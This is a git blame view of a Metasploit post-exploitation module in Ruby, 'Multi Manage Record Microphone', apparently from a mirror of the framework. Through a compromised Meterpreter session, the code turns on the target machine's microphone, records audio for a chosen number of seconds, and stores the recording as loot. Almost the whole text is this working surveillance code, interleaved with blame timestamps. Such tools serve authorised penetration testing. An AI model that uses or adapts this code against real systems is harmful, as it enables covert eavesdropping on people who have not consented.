Files
metasploit-gs/modules/post/multi/manage/record_mic.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

91 lines
2.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Manage Record Microphone',
'Description' => %q{
This module will enable and record your target's microphone.
2021-09-10 12:53:39 +01:00
For non-Windows targets, please use Java meterpreter to be
able to use this feature.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
2023-02-08 13:47:34 +00:00
'Platform' => %w[linux osx win],
2021-10-06 13:43:31 +01:00
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_webcam_*
]
}
}
2021-09-10 12:53:39 +01:00
)
)
register_options(
[
OptInt.new('DURATION', [false, 'Number of seconds to record', 5])
2021-09-10 12:53:39 +01:00
]
)
end
def rhost
client.sock.peerhost
end
def progress
2013-01-21 00:30:43 -06:00
duration = datastore['DURATION']
m = duration / 10
m = 1 if m == 0
duration.times do |i|
if i % m == 0
2021-09-10 12:53:39 +01:00
p = ((Float((i == 0) ? 1 : i + 1) / duration) * 100).round
2023-02-08 13:47:34 +00:00
print_status("#{rhost} - #{p}%...")
2013-01-21 00:30:43 -06:00
end
select(nil, nil, nil, 1)
end
end
def run
if client.nil?
print_error("Invalid session ID selected. Make sure the host isn't dead.")
return
end
data = nil
begin
2023-02-08 13:47:34 +00:00
t = framework.threads.spawn('prog', false) { progress }
data = client.webcam.record_mic(datastore['DURATION'])
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.message)
return
ensure
t.kill
end
if data
2023-02-08 13:47:34 +00:00
print_status("#{rhost} - Audio size: (#{data.length} bytes)")
p = store_loot(
2013-01-17 12:30:02 -06:00
"#{rhost}.audio",
'application/octet-stream',
rhost,
data,
"#{rhost}_audio.wav",
"#{rhost} Audio Recording"
)
print_good("#{rhost} - Audio recording saved: #{p}")
end
end
2014-06-17 21:03:18 +02:00
end